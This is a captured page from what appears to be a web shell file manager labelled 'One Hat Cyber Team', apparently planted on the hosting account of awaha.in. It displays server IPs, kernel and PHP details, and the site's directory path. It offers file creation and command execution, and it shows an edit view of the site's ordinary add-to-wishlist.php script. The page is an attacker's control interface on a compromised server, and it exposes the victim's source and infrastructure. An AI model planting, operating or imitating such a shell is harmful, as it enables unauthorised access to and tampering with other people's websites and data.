One Hat Cyber Team
Your IP :
216.73.216.186
Server IP :
91.108.106.45
Server :
Linux in-mum-web1837.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64
Server Software :
LiteSpeed
PHP Version :
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
u322583024
/
domains
/
awaha.in
/
public_html
/
Edit File:
add-to-wishlist.php
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script> <?php session_start(); include('connect.inc.php'); // Database connection // Check if the user is logged in if (!isset($_SESSION['user_id'])) { header('Location: login.php'); exit; } $user_id = $_SESSION['user_id']; // Validate product_id if (!isset($_GET['product_id']) || !is_numeric($_GET['product_id'])) { echo "<script> document.addEventListener('DOMContentLoaded', function() { Swal.fire({ icon: 'error', title: 'Oops...', text: 'Invalid product ID!' }).then(() => { window.location.href = document.referrer; }); }); </script>"; exit; } $product_id = (int) $_GET['product_id']; try { // Check if product is already in wishlist $check_sql = "SELECT * FROM wishlist WHERE user_id = :user_id AND product_id = :product_id"; $check_stmt = $pdo->prepare($check_sql); $check_stmt->bindParam(':user_id', $user_id, PDO::PARAM_INT); $check_stmt->bindParam(':product_id', $product_id, PDO::PARAM_INT); $check_stmt->execute(); if ($check_stmt->rowCount() > 0) { // Prepare the SQL statement to delete the product from the wishlist $delete_stmt = $pdo->prepare("DELETE FROM wishlist WHERE product_id = :product_id AND user_id = :user_id"); // Bind the parameters $delete_stmt->bindParam(':product_id', $product_id); $delete_stmt->bindParam(':user_id', $user_id); // Execute the delete statement if ($delete_stmt->execute()) { echo "<script> document.addEventListener('DOMContentLoaded', function() { Swal.fire({ icon: 'success', title: 'Removed from Wishlist', text: 'The product has been removed from your wishlist.' }).then(() => { window.location.href = document.referrer; }); }); </script>"; } else { echo "<script> document.addEventListener('DOMContentLoaded', function() { Swal.fire({ icon: 'error', title: 'Error', text: 'There was an error removing the product from your wishlist.' }).then(() => { window.location.href = document.referrer; }); }); </script>"; } exit; } // Insert into wishlist $sql = "INSERT INTO wishlist (user_id, product_id, added_on) VALUES (:user_id, :product_id, NOW())"; $stmt = $pdo->prepare($sql); $stmt->bindParam(':user_id', $user_id, PDO::PARAM_INT); $stmt->bindParam(':product_id', $product_id, PDO::PARAM_INT); $stmt->execute(); if ($stmt->rowCount() > 0) { echo "<script> document.addEventListener('DOMContentLoaded', function() { Swal.fire({ icon: 'success', title: 'Success!', text: 'Product added to wishlist!', showConfirmButton: false, timer: 1500 }).then(() => { window.location.href = document.referrer; }); }); </script>"; } else { echo "<script> document.addEventListener('DOMContentLoaded', function() { Swal.fire({ icon: 'error', title: 'Failed!', text: 'Failed to add product to wishlist.' }).then(() => { window.location.href = document.referrer; }); }); </script>"; } } catch (PDOException $e) { echo "<script> document.addEventListener('DOMContentLoaded', function() { Swal.fire({ icon: 'error', title: 'Error!', text: '" . addslashes($e->getMessage()) . "' }).then(() => { window.location.href = document.referrer; }); }); </script>"; } ?>
Simpan